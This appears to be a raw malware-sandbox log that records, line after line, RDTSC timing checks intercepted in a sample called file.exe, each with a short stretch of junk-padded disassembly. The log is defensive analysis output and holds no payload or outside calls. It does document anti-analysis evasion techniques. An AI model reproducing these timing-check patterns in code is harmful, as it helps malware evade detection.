Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11390A1 second address: 11390A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11390A7 second address: 11390AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11390AB second address: 11390D5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F528105F326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D1E08h], esi 0x00000013 lea eax, dword ptr [ebp+1248B9F6h] 0x00000019 mov dword ptr [ebp+122D2A6Fh], ecx 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push edi 0x00000023 jg 00007F528105F326h 0x00000029 pop edi 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11390D5 second address: 1114723 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F528074EBD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jbe 00007F528074EBDCh 0x00000013 mov edi, dword ptr [ebp+122D1D59h] 0x00000019 call dword ptr [ebp+122D1D8Ah] 0x0000001f jng 00007F528074EBEAh 0x00000025 jng 00007F528074EBD8h 0x0000002b push edx 0x0000002c pop edx 0x0000002d jmp 00007F528074EBDCh 0x00000032 jbe 00007F528074EBDEh 0x00000038 push ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173EC8 second address: 1173ECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173ECF second address: 1173EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528074EBE2h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F528074EBD6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173EEE second address: 1173EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5562 second address: 10E5581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F528074EBDEh 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F528074EBD6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1179166 second address: 117916C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117916C second address: 1179174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1179174 second address: 1179183 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F528105F326h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11792BE second address: 11792C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A548 second address: 117A56A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F32Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F528105F328h 0x00000011 jno 00007F528105F32Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A56A second address: 117A595 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F528074EBF0h 0x00000008 pushad 0x00000009 jnl 00007F528074EBD6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C9B6 second address: 117C9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C9BA second address: 117C9C6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F528074EBD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117FD04 second address: 117FD1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F334h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117FD1D second address: 117FD34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F528074EBDCh 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F8D7 second address: 117F8DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F8DD second address: 117F8E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F528074EBD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F8E9 second address: 117F916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 pushad 0x0000000a jne 00007F528105F326h 0x00000010 jnp 00007F528105F326h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F528105F332h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F916 second address: 117F91A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183D9F second address: 1183DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F528105F333h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jbe 00007F528105F326h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183DC4 second address: 1183DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F528074EBD6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183EFA second address: 1183F02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118446E second address: 1184472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184472 second address: 1184476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184476 second address: 1184486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F528074EBDCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184608 second address: 1184613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F528105F326h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184613 second address: 1184619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1F30 second address: 10E1F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E1F34 second address: 10E1F3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11880C1 second address: 11880E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F528105F332h 0x0000000b jmp 00007F528105F32Dh 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E2F0 second address: 118E2FA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F528074EBE2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E2FA second address: 118E300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CF86 second address: 118CF8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138A5F second address: 1138A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138A65 second address: 1138AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jnl 00007F528074EBE2h 0x0000000d nop 0x0000000e mov dword ptr [ebp+1245A8E9h], ecx 0x00000014 mov ebx, dword ptr [ebp+1248BA35h] 0x0000001a mov edx, 6B362733h 0x0000001f add eax, ebx 0x00000021 push 00000000h 0x00000023 push esi 0x00000024 call 00007F528074EBD8h 0x00000029 pop esi 0x0000002a mov dword ptr [esp+04h], esi 0x0000002e add dword ptr [esp+04h], 00000016h 0x00000036 inc esi 0x00000037 push esi 0x00000038 ret 0x00000039 pop esi 0x0000003a ret 0x0000003b jmp 00007F528074EBE6h 0x00000040 movzx edi, cx 0x00000043 nop 0x00000044 push edx 0x00000045 jmp 00007F528074EBDDh 0x0000004a pop edx 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push ebx 0x0000004f push edi 0x00000050 pop edi 0x00000051 pop ebx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138AE0 second address: 1138B11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F333h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edx, dword ptr [ebp+122D1ECEh] 0x00000010 push 00000004h 0x00000012 jg 00007F528105F32Ch 0x00000018 push eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138B11 second address: 1138B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138B1A second address: 1138B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D3D8 second address: 118D3E8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F528074EBD6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D3E8 second address: 118D3EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D3EC second address: 118D3F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D3F2 second address: 118D418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F528105F357h 0x0000000c pushad 0x0000000d jmp 00007F528105F337h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119673A second address: 1196759 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 je 00007F528074EBD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F528074EBDCh 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196759 second address: 1196783 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F32Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F528105F336h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194E0D second address: 1194E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194E15 second address: 1194E21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F528105F326h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11953AA second address: 11953B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11953B0 second address: 11953B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195613 second address: 1195617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195617 second address: 119561D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119561D second address: 1195638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jns 00007F528074EBD6h 0x00000012 popad 0x00000013 jl 00007F528074EBE2h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195E76 second address: 1195E7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195E7A second address: 1195EB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F528074EBE7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195EB2 second address: 1195EC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F528105F32Bh 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196439 second address: 119643D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B3AE second address: 119B3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B3B4 second address: 119B3B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E342 second address: 119E347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E78D second address: 119E796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E796 second address: 119E7B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F331h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F528105F33Ch 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EBD3 second address: 119EBDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F528074EBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EBDD second address: 119EC12 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F528105F326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F528105F32Eh 0x00000012 push esi 0x00000013 push eax 0x00000014 pop eax 0x00000015 jmp 00007F528105F331h 0x0000001a pop esi 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119ED2A second address: 119ED45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F528074EBE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119ED45 second address: 119ED4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EE8D second address: 119EEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F528074EBE0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119EEA6 second address: 119EECB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F338h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007F528105F326h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A75BA second address: 11A75C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A75C0 second address: 11A75C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A75C9 second address: 11A75CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A75CF second address: 11A75D4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A75D4 second address: 11A75DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A79BF second address: 11A79C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A79C3 second address: 11A79ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F528074EBE1h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jc 00007F528074EBD6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A79ED second address: 11A7A0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F332h 0x00000007 jc 00007F528105F326h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push esi 0x00000011 pop esi 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7F7C second address: 11A7F9D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F528074EBE5h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7F9D second address: 11A7FA2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7FA2 second address: 11A7FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jc 00007F528074EBD6h 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F528074EBE9h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push esi 0x00000019 jnp 00007F528074EBE2h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 jnc 00007F528074EBD6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E704E second address: 10E706A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F338h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A826C second address: 11A8271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9149 second address: 11A9157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F528105F326h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9157 second address: 11A9182 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b ja 00007F528074EBD6h 0x00000011 pop edi 0x00000012 popad 0x00000013 jg 00007F528074EBF6h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F528074EBDEh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9182 second address: 11A9186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9186 second address: 11A918A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFB2D second address: 11AFB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFB36 second address: 11AFB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F528074EBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFB40 second address: 11AFB44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF54E second address: 11AF554 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF554 second address: 11AF55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF55D second address: 11AF563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF563 second address: 11AF578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jo 00007F528105F326h 0x0000000c popad 0x0000000d jc 00007F528105F33Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF6E9 second address: 11AF6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF6F4 second address: 11AF6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
